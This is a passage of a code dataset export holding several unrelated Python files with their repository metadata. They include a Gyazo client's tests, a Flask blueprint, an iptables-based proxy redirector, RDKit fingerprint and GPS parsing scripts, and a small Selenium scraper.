\"2c9044330d710fca3da64b222eddf5b5\", '\n        '\"permalink_url\": \"http://gyazo.com/2c9044330d710fca3da64b222eddf5b5\", '\n        '\"thumb_url\": \"https://i.gyazo.com/thumb/180/'\n        '_242799a7d541869e0b73dc93ee113fb5.png\", \"type\": \"png\", '\n        '\"url\": \"https://i.gyazo.com/2c9044330d710fca3da64b222eddf5b5.png\"}'\n    ),\n]\n\ntest_data_filenames = [\n    (\n        image_1,\n        '2c9044330d710fca3da64b222eddf5b5.png',\n        '_242799a7d541869e0b73dc93ee113fb5.png',\n    ),\n    (\n        image_2,\n        None,\n        'Qa1W1MKHxBhbk-png.jpg',\n    ),\n    (\n        image_2_empty_str,\n        None,\n        'Qa1W1MKHxBhbk-png.jpg',\n    ),\n]\n\ntest_data_or = [\n    (image_3_partial, image_3, image_3),\n    (image_3, image_3_partial, image_3),\n    (image_4, image_4_with_url, image_4_merged),\n]\n\nclass TestImage:\n    @pytest.mark.parametrize(\"d,image\", test_data_from_dict)\n    def test_from_dict(self, d, image):\n        assert Image.from_dict(d) == image\n\n    @pytest.mark.parametrize(\"image,filename,thumb_filename\", test_data_filenames)\n    def test_filenames(self, image, filename, thumb_filename):\n        assert image.filename == filename\n        assert image.thumb_filename == thumb_filename\n\n    @pytest.mark.parametrize(\"image,expected\", test_data_to_dict)\n    def test_to_dict(self, image, expected):\n        assert image.to_dict() == expected\n\n    @pytest.mark.parametrize(\"image,expected\", test_data_to_json)\n    def test_to_json(self, image, expected):\n        assert image.to_json() == expected\n\n    @pytest.mark.parametrize(\"a,b,expected\", test_data_or)\n    def test_or(self, a, b, expected):\n        assert a | b == expected\n\n\nclass TestImageList:\n    def test_from_list(self):\n        l = ImageList.from_list([image_1_dict, image_2_dict, image_2_dict_empty_str])\n        assert l.images == [image_1, image_2, image_2]\n\n    @pytest.mark.parametrize(\"image_list,expected\", [\n        (ImageList(total_count=23, per_page=10, current_page=0), False),\n        (ImageList(total_count=23, per_page=10, current_page=3), False),\n        (ImageList(total_count=20, per_page=10, current_page=1), True),\n        (ImageList(total_count=20, per_page=10), None),\n        (ImageList(total_count=20, current_page=3), None),\n        (ImageList(per_page=10, current_page=3), None),\n    ])\n    def test_has_next_page(self, image_list, expected):\n        assert image_list.has_next_page == expected\n\n    @pytest.mark.parametrize(\"image_list,expected\", [\n        (ImageList(current_page=2), True),\n        (ImageList(current_page=1), False),\n        (ImageList(), None),\n    ])\n    def test_has_previous_page(self, image_list, expected):\n        assert image_list.has_previous_page == expected\n\n    def test_add(self):\n        l1 = ImageList(images=[image_1, image_2])\n        l2 = ImageList(images=[image_3])\n        l = l1 + l2\n        assert l.total_count == 3\n        assert len(l.images) == 3\n        assert l.current_page is None\n        assert l.per_page is None\n        assert l.user_type is None\n\n    def test_set_attributes_from_headers(self):\n        headers = {\n            'server': 'nginx/1.11.9',\n            'date': 'Sat, 01 Feb 2020 16:43:58 GMT',\n            'content-type': 'application/json; charset=utf-8',\n            'x-total-count': '1144',\n            'x-current-page': '1',\n            'x-per-page': '20',\n            'x-user-type': 'ninja',\n        }\n        il = ImageList()\n        il.set_attributes_from_headers(headers)\n        assert il.total_count == 1144\n        assert il.current_page == 1\n        assert il.per_page == 20\n        assert il.user_type == 'ninja'\n", "repo_name": "ymyzk/python-gyazo", "sub_path": "tests/test_image.py", "file_name": "test_image.py", "file_ext": "py", "file_size_in_byte": 7733, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gyazo.image.Image", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 19, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 19, "usage_type": "name"}, {"api_name": "gyazo.image.Image", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.timezone", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 31, "usage_type": "call"}, {"api_name": "gyazo.image.Image", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.timezone", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 45, "usage_type": "call"}, {"api_name": "gyazo.image.Image", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 53, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 53, "usage_type": "name"}, {"api_name": "gyazo.image.Image", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 61, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 61, "usage_type": "name"}, {"api_name": "gyazo.image.Image", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 69, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 69, "usage_type": "name"}, {"api_name": "gyazo.image.Image", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 79, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 79, "usage_type": "name"}, {"api_name": "gyazo.image.Image", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 85, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 85, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 85, "usage_type": "name"}, {"api_name": "gyazo.image.Image.from_dict", "line_number": 166, "usage_type": "call"}, {"api_name": "gyazo.image.Image", "line_number": 166, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 164, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 164, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 168, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 173, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 177, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 177, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 181, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 181, "usage_type": "attribute"}, {"api_name": "gyazo.image.ImageList.from_list", "line_number": 188, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 188, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 191, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 191, "usage_type": "attribute"}, {"api_name": "gyazo.image.ImageList", "line_number": 192, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 193, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 194, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 195, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 196, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 197, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 202, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 202, "usage_type": "attribute"}, {"api_name": "gyazo.image.ImageList", "line_number": 203, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 204, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 205, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 211, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 212, "usage_type": "call"}, {"api_name": "gyazo.image.ImageList", "line_number": 230, "usage_type": "call"}]}
{"seq_id": "11091356177", "text": "from flask import Blueprint, render_template\nimport feedparser\n\nfrom dotenv import load_dotenv \n\n# from models.Video import Video\n\nvideo_bp = Blueprint('videos', __name__, url_prefix='/videos')\n\nload_dotenv()\n\n@video_bp.route('/', methods=['GET'])\ndef index(dr_name:str):\n    video_feed = ['oops wrong url']\n    if dr_name == 'Howard':\n        video_feed = feedparser.parse('https://www.youtube.com/feeds/videos.xml?channel_id=UCT0_JeyTysWfMp25xcJthMg')\n        \n        \n    return render_template('videos.html', feed=video_feed)\n    \n    \n    \n    \n    \n    \n# @video_bp.route('/<id>', methods=['GET', 'POST', 'DELETE'])\n# def show_video():\n#     if request.method == 'GET':\n#         return render_template('videos/show.html')\n    \n#     elif request.method == 'POST':\n#         pass\n\n#     elif request.method == 'DELETE':\n#         pass", "repo_name": "scwdev/wetsmans", "sub_path": "views/videos.py", "file_name": "videos.py", "file_ext": "py", "file_size_in_byte": 841, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Blueprint", "line_number": 8, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 10, "usage_type": "call"}, {"api_name": "feedparser.parse", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "12387780233", "text": "from urllib import request,parse\nimport json\n\n'''\n目标：对百度翻译页面发送post请求，获得翻译的结果\n0、form表单提交的数据，首先需要parse.urlencode()转码，转换成unicode编码格式的字符串，然后装换成utf-8的bytes格式编码\n2、如果请求对象里面有data属性，则为发送post请求的请求\n'''\n\n# 翻译函数：\ndef fanyi(kw):\n\n    base_url = 'http://fanyi.baidu.com/sug'\n\n    # 1、 form表单数据准备\n    form_data = {\n        'kw':kw\n    } # 构造请求的表单数据（post请求发送的东西）\n    form_data = parse.urlencode(form_data) # 对表单数据进行Unicode编码\n\n    # 构建请求对象\n    req = request.Request(base_url,data=bytes(form_data,encoding='utf-8'))\n\n    # 发送请求\n    response = request.urlopen(req)\n\n    data = response.read()\n\n    data = json.loads(data)\n    for i in data['data']:\n        print('\\t'+i['v'])\n\n\nif  __name__==\"__main__\":\n    print('输入\"q\"退出程序')\n    while True:\n        kw = input('请输入：')\n        if kw == 'q':\n            break\n        else:\n            fanyi(kw)\n\n\n\n\n", "repo_name": "theme716/small-routine", "sub_path": "insect/1.one_day/4.urllib_post.py", "file_name": "4.urllib_post.py", "file_ext": "py", "file_size_in_byte": 1112, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.parse.urlencode", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 19, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 22, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 22, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 25, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "73809347453", "text": "# -*- coding: utf-8 -*-\nimport json\nimport logging.config\nimport subprocess\n\nfrom AddressInputer import HttpAddressInputer\nfrom Util import Util\n\n\nclass PacBot:\n    __adressInputer = None\n    __directIps = set()\n    __proxyIps = set()\n    __noWayIps = set()\n    proxyServers = list()\n\n    def __init__(self):\n        return\n\n    def run(self):\n        while (self.__adressInputer.hasNext()):\n\n            address = self.__adressInputer.next()\n\n            if (len(address) != 2):\n                logging.error(\"invalid address: {0}\".format(address))\n                continue\n\n            ip, port = address\n\n            if (self.__directIps.__contains__(ip)):\n                continue\n\n            if (self.__proxyIps.__contains__(ip)):\n                continue\n\n            if (self.__noWayIps.__contains__(ip)):\n                continue\n\n            if (Util.tcpIsOk(address)):\n                self.__directIps.add(ip)\n                continue\n\n            proxyServer = self.__matchProxyServer(address)\n            if (proxyServer):\n                self.addToOSPAC(address, proxyServer)\n                self.__proxyIps.add(ip)\n                logging.info(\"redirect {0}\".format(ip))\n            else:\n                self.__noWayIps.add(ip)\n                logging.warn(\"no way to address: {0}\".format(ip))\n\n    def __matchProxyServer(self, address):\n\n        for proxyServer in self.proxyServers:\n            if (Util.tcpIsOkByPorxy(address, proxyServer)):\n                return proxyServer\n\n        return None\n\n    def addToOSPAC(self, address, proxyServer):\n\n        file = open(\"clean.sh\", \"a+\")\n\n        try:\n            cmd = \"iptables -t nat -I PREROUTING -p TCP -d {0} -j DNAT --to {1}:{2}\".format(address[0],\n                                                                                            proxyServer.get(\n                                                                                                'transparent_addr'),\n                                                                                            proxyServer.get(\n                                                                                                'transparent_port'))\n            logging.debug(\"call '{0}'\".format(cmd))\n            file.write(cmd.replace(\"-I\", \"-D\") + \"\\n\")\n            subprocess.call(cmd, shell=True)\n\n        finally:\n            file.close()\n\n    def config(self, config_json_file):\n\n        jsonfile = open(config_json_file)\n        json_config = json.load(jsonfile)\n\n        for proxyServer in json_config[\"proxyServers\"]:\n            self.proxyServers.append(proxyServer)\n\n        inputer_config = json_config[\"inputer\"]\n        self.__adressInputer = HttpAddressInputer((inputer_config[\"addr\"], inputer_config[\"port\"]))\n\n        jsonfile.close()\n\n\nif __name__ == '__main__':\n    logging.config.fileConfig('logging.conf')\n\n    bot = PacBot()\n\n    bot.config(\"config.json\")\n\n    bot.run()\n", "repo_name": "xxfad/pacbot", "sub_path": "PacBot.py", "file_name": "PacBot.py", "file_ext": "py", "file_size_in_byte": 2919, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.config.error", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 26, "usage_type": "name"}, {"api_name": "Util.Util.tcpIsOk", "line_number": 40, "usage_type": "call"}, {"api_name": "Util.Util", "line_number": 40, "usage_type": "name"}, {"api_name": "logging.config.info", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 48, "usage_type": "name"}, {"api_name": "logging.config.warn", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 51, "usage_type": "name"}, {"api_name": "Util.Util.tcpIsOkByPorxy", "line_number": 56, "usage_type": "call"}, {"api_name": "Util.Util", "line_number": 56, "usage_type": "name"}, {"api_name": "logging.config.debug", "line_number": 71, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 71, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 73, "usage_type": "call"}, {"api_name": "json.load", "line_number": 81, "usage_type": "call"}, {"api_name": "AddressInputer.HttpAddressInputer", "line_number": 87, "usage_type": "call"}, {"api_name": "logging.config.config.fileConfig", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.config.config", "line_number": 93, "usage_type": "attribute"}, {"api_name": "logging.config", "line_number": 93, "usage_type": "name"}]}
{"seq_id": "24117977151", "text": "from bibliopixel.animation.matrix import Matrix\nfrom noise import pnoise3, snoise3\n\n\nclass PerlinSimplex(Matrix):\n\n    def __init__(self, layout, freq=16, octaves=1, type=True, **kwds):\n        super().__init__(layout, **kwds)\n        self._step = 1\n        self._freq = float(freq)\n        self._octaves = octaves\n        if type:\n            self.func = snoise3\n        else:\n            self.func = pnoise3\n\n    def step(self, amt):\n        for y in range(self.height):\n            for x in range(self.width):\n                v = int(self.func(x / self._freq, y / self._freq, self._step / self._freq, octaves=self._octaves) * 127.0 + 128.0)\n                c = self.palette(v)\n                self.layout.set(x, y, c)\n\n        self._step += amt\n", "repo_name": "ManiacalLabs/BiblioPixelAnimations", "sub_path": "BiblioPixelAnimations/matrix/perlin_simplex.py", "file_name": "perlin_simplex.py", "file_ext": "py", "file_size_in_byte": 748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "78", "api": [{"api_name": "bibliopixel.animation.matrix.Matrix", "line_number": 5, "usage_type": "name"}, {"api_name": "noise.snoise3", "line_number": 13, "usage_type": "name"}, {"api_name": "noise.pnoise3", "line_number": 15, "usage_type": "name"}]}
{"seq_id": "7553438719", "text": "import numpy as np\nimport argparse\nimport os\nfrom rdkit import Chem\nfrom rdkit.Chem import AllChem\nfrom rdkit.Chem import DataStructs\n\ndef create_parser():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('input', type=str, help='finename of sdf')\n    parser.add_argument('--fptype', type=str, help='ECFP, FCFP, ', default='ECFP')\n    parser.add_argument('--radius', type=int, help='radius of ECFP, FCFP ', default=2)\n    parser.add_argument('--nBits', type=int, help='number of bits ', default=1024)\n    parser.add_argument('--molid', type=str, help='molid prop', default=None)\n    parser.add_argument('--target', type=str, help='target name for predict', default=None)\n    parser.add_argument('--output', type=str, help='output path', default='data')\n    return parser\n\ndef fp2list(fp):\n    arr = np.zeros((0,))\n    DataStructs.ConvertToNumpyArray(fp, arr)\n    return arr\n\ndef mol2fp(mol, fptype='ECFP', radius=2, nBits=1024):\n    if fptype=='ECFP':\n        fp = AllChem.GetMorganFingerprintAsBitVect(mol, radius=radius, nBits=nBits)\n    elif fptype=='FCFP':\n        fp = AllChem.GetMorganFingerprintAsBitVect(mol, radius=radius, nBits=nBits, useFeatures=True)\n    else:\n        raise NotImplementedError('This FP is not implemented!!!! pls use ECFP or FCFP')\n    return fp\n\nif __name__=='__main__':\n    parser = create_parser()\n    args = parser.parse_args()\n    mols = Chem.SDMolSupplier(args.input)\n    fps = []\n    targets = []\n    if not os.path.isdir(args.output):\n        os.mkdir(args.output)\n\n    w = open(os.path.join(args.output,'log.txt'), 'w')\n    w.write('mol_id,smiles\\n')\n    for i, mol in enumerate(mols):\n        if mol is not None:\n            smiles = Chem.MolToSmiles(mol)\n            if args.molid is not None:\n                mol_id =mol.GetProp(args.molid)\n            else:\n                idx = 1+i\n                mol_id = f'mol_{idx}'\n            fp = mol2fp(mol,args.fptype, args.radius, args.nBits)\n            fp_list = fp2list(fp)\n            fps.append(fp_list)\n            w.write(f'{mol_id},{smiles}\\n')\n            if args.target is not None:\n                target = mol.GetProp(args.target)\n                targets.append(np.float(target))\n    w.close()\n    X = np.asarray(fps)\n    X = np.savez(f'{args.output}/{args.fptype}_{args.radius}_{args.nBits}_X.npz', X)\n    if args.target is not None:\n        Y = np.asarray(targets)\n        np.savez(f'{args.output}/{args.target}_arr.npz', Y)\n    else:\n        pass\n", "repo_name": "iwatobipen/QSAR_TOOLBOX", "sub_path": "qsartools/fpgen.py", "file_name": "fpgen.py", "file_ext": "py", "file_size_in_byte": 2464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "rdkit.Chem.DataStructs.ConvertToNumpyArray", "line_number": 21, "usage_type": "call"}, {"api_name": "rdkit.Chem.DataStructs", "line_number": 21, "usage_type": "name"}, {"api_name": "rdkit.Chem.AllChem.GetMorganFingerprintAsBitVect", "line_number": 26, "usage_type": "call"}, {"api_name": "rdkit.Chem.AllChem", "line_number": 26, "usage_type": "name"}, {"api_name": "rdkit.Chem.AllChem.GetMorganFingerprintAsBitVect", "line_number": 28, "usage_type": "call"}, {"api_name": "rdkit.Chem.AllChem", "line_number": 28, "usage_type": "name"}, {"api_name": "rdkit.Chem.SDMolSupplier", "line_number": 36, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "rdkit.Chem.MolToSmiles", "line_number": 46, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.float", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 64, "usage_type": "call"}]}
{"seq_id": "11196247484", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport time\nfrom auth_data import ok_email, ok_password\nimport pickle\nimport datetime\n\noptions = webdriver.ChromeOptions()\n\n\noptions.add_argument(\"--disable-blink-features=AutomationControlled\")\n\ndriver = webdriver.Chrome(options=options)\n\n\ntry:\n\n    start_time = datetime.datetime.now()\n\n\n\n    driver.get(\"https://www.avito.ru/all?q=%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D1%8B\")\n    driver.implicitly_wait(5)\n    for i in range(0, 3):\n        items = driver. find_elements(By.XPATH, \"//div[@data-marker='item-photo']\")\n        items[i].click()\n        driver.implicitly_wait(5)\n\n        driver.switch_to.window(driver.window_handles[1])\n        driver.implicitly_wait(5)\n\n        username = driver.find_element(By.XPATH, \"//div[@data-marker='seller-info/name']\")\n        print(f\"User name: {username.text}\")\n        driver.implicitly_wait(5)\n\n        driver.close()\n\n        driver.switch_to.window(driver.window_handles[0])\n\n    finish_time = datetime.datetime.now()\n    spent_time = finish_time-start_time\n    print(spent_time)\n\n\n\n\n\nexcept Exception as ex:\n    print(ex)\nfinally:\n    driver.close()\n    driver.quit()", "repo_name": "Evgheniy/Selenium_Python_Today_", "sub_path": "selenium_switch_to_window_chrome.py", "file_name": "selenium_switch_to_window_chrome.py", "file_ext": "py", "file_size_in_byte": 1259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "selenium.webdriver.ChromeOptions", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 14, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 26, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 26, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 33, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 33, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "attribute"}]}
{"seq_id": "8304005198", "text": "from pprint import pprint\n\nfrom sqlalchemy import create_engine, Table, MetaData\nfrom sqlalchemy.sql import select\n\nengine = create_engine(\"mysql://root@localhost/clanwars?use_unicode=0\")\nconn = engine.connect()\nmetadata = MetaData()\ntanks = Table('wot_tanks_all_api2', metadata, autoload=True, autoload_with=engine)\ntank_dict = {}\nfor row in list(conn.execute(select([tanks]))):\n    tank_dict[row.tank_text_id] = {\n        'tier': row.level\n    }\n\npprint(tank_dict)\n", "repo_name": "ceari/whyattend", "sub_path": "scripts/sqldump_to_python.py", "file_name": "sqldump_to_python.py", "file_ext": "py", "file_size_in_byte": 467, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.select", "line_number": 11, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "33865329335", "text": "\"\"\"\nPackage for GPS module.\n\"\"\"\n\nimport serial\nfrom time import time\n\nfrom geographic_position import *\n\nclass GPS():\n    \"\"\"\n    Class for reading the geographic position from a GPS module.\n    \"\"\"\n    def __init__(self):\n        \"\"\"\n        Sets the type of sentence that will be read from GPS to GPGGA and the serial port for the GPS.\n        GPGGA stands for Global Positioning System Fix Data. An example sentence is $GPGGA,134658.00,5106.9792,N,\n        11402.3003,W,2,09,1.0,1048.47,M,-16.27,M,08,AAAA*60\" where $GPGGA is a sentence identifier, 134658.00 is time\n        (13:46:58 and 00 miliseconds), 5106.9792 is latitude (51 degrees and 06.9792 minutes), N is latitude direction\n        (N = North), 11402.3003 is longitude (114 degrees and 02.3003 minutes) and W is longitude direction.\n        \"\"\"\n        self._sentence_identifier = \"$GPGGA,\"\n        self._serial_port = serial.Serial(\"/dev/ttyAMA0\")\n\n    def _read_GPS_information(self):\n        \"\"\"\n        Reads a geographic position from the GPS module in the NMEA (National Marine Electronics Association) format.\n        \"\"\"\n        # continue reading the GPS sentences until a sentence with `self._sentence_identifier` is found.\n        while True:\n            # read one sentence from the GPS module\n            data_from_module = (str)(self._serial_port.readline())\n            # the first 7 characters of the sentence contain the sentence identifier.\n            if data_from_module[0:7] == self._sentence_identifier:\n                gpgga_buffer = data_from_module.split(self._sentence_identifier, 1)[1]\n                nmea_buffer = (gpgga_buffer.split(','))\n                self._nmea_time = nmea_buffer[0]\n                self._nmea_latitude = nmea_buffer[1]\n                self.latitude_direction = nmea_buffer[2]\n                self._nmea_longitude = nmea_buffer[3]\n                self.longitude_direction = nmea_buffer[4]\n                break\n\n    def get_geographic_position(self):\n        \"\"\"\n        Reads GPS position in the NMEA format and converts the position to `GeographicPosition` object.\n        :return:\n        \"\"\"\n        self._read_GPS_information()\n        self.latitude_degrees = self.convert_nmea_to_degrees(self._nmea_latitude)\n        self.longitude_degrees = self.convert_nmea_to_degrees(self._nmea_longitude)\n        self.time = self.convert_nmea_to_time(self._nmea_time[0:6])\n        self.position = GeographicPosition(self.latitude_degrees, self.latitude_direction, self.longitude_degrees,\n                                           self.longitude_direction, self.time)\n        return self.position\n\n    @staticmethod\n    def convert_nmea_to_degrees(nmea_value):\n        \"\"\"\n        Converts NMEA position format to degrees.\n        The NMEA position format is DDmm.mm for latitude and DDDmm.mm for longitude. DD or DDD stands for degrees and\n        mm.mm stands for minutes\n        :param nmea_value: string representing a position in the NMEA format\n        :return: float representing the converted values of the NMEA string in degrees\n        \"\"\"\n        # verify that `nmea_value` is either string that is convertible to float number or empty string\n        assert(nmea_value == \"\" or nmea_value.replace('.','',1).isdigit())\n        try:\n            nmea_value = float(nmea_value)\n        except ValueError:\n            nmea_value = 0\n        degrees = int(nmea_value / 100.00)\n        minutes = (nmea_value - degrees * 100)\n        coordinate_in_degrees = degrees + minutes / 60\n        coordinate_in_degrees = round(coordinate_in_degrees, 6)\n        assert(coordinate_in_degrees >= 0 and coordinate_in_degrees <= 180)\n        return coordinate_in_degrees\n\n    @staticmethod\n    def convert_nmea_to_time(nmea_time):\n        \"\"\"\n        Converts NMEA time format to `time` object.\n        The NMEA time format is HHMMSS.SS where HH is hours, MM is minutes, SS.SS is seconds\n        :param nmea_time: String representing a time in the NMEA format\n        :return: `time` object that represents the time when the position was taken\n        \"\"\"\n        assert(len(nmea_time) == 6)\n        assert(isinstance(nmea_time, str) and nmea_time.isdigit())\n        hours = int(nmea_time[0:2])\n        minutes = int(nmea_time[2:4])\n        seconds = int(nmea_time[4:6])\n        return time(hours, minutes, seconds)\n\nif __name__ == \"__main__\":\n    myGPS = GPS()\n    current_position = myGPS.get_geographic_position()\n    print(\"Coordinates: \", current_position.get_coordinates())\n    print(\"Time: \", current_position.get_time())", "repo_name": "marie-yau/Air-Sampler", "sub_path": "lib/gps.py", "file_name": "gps.py", "file_ext": "py", "file_size_in_byte": 4528, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "serial.Serial", "line_number": 23, "usage_type": "call"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}]}
{"seq_id": "23748363082", "text": "\"\"\"\ncompatability module for IPython subprocesses to close cleanly and pass handlers\nto the next handlers.\n\nSee: http://stackoverflow.com/a/15472811 for more details\n\"\"\"\nfrom future import standard_library\nstandard_library.install_aliases()\nimport os\nimport imp\nimport ctypes\nimport _thread\nimport win32api\nimport sys\n\n# Load the DLL manually to ensure its handler gets\n# set before our handler.\nbasepath = imp.find_module('numpy')[1]\nnumpy_libmmd = os.path.join(basepath, 'core', 'libmmd.dll')\nnumpy_libifcoremd = os.path.join(basepath, 'core', 'libifcoremd.dll')\nif os.path.exists(numpy_libmmd) and os.path.exists(numpy_libifcoremd):\n    ctypes.CDLL(numpy_libmmd)\n    ctypes.CDLL(numpy_libifcoremd)\nelse:\n    import sys\n    basepath = os.path.dirname(sys.executable)\n\n    numpy_libmmd = os.path.join(basepath, 'Library/bin', 'libmmd.dll')\n    numpy_libifcoremd = os.path.join(basepath, 'Library/bin', 'libifcoremd.dll')\n\n    ctypes.CDLL(numpy_libmmd)\n    ctypes.CDLL(numpy_libifcoremd)\n\n\n# Now set our handler for CTRL_C_EVENT. Other control event\n# types will chain to the next handler.\ndef handler(dwCtrlType, hook_sigint=_thread.interrupt_main):\n    if dwCtrlType == 0:  # CTRL_C_EVENT\n        hook_sigint()\n        return 1         # chain to the next handler\n    return 0             # chain to the next handler\n\nwin32api.SetConsoleCtrlHandler(handler, 1)\n", "repo_name": "inpho/topic-explorer", "sub_path": "topicexplorer/lib/win32.py", "file_name": "win32.py", "file_ext": "py", "file_size_in_byte": 1363, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 89, "dataset": 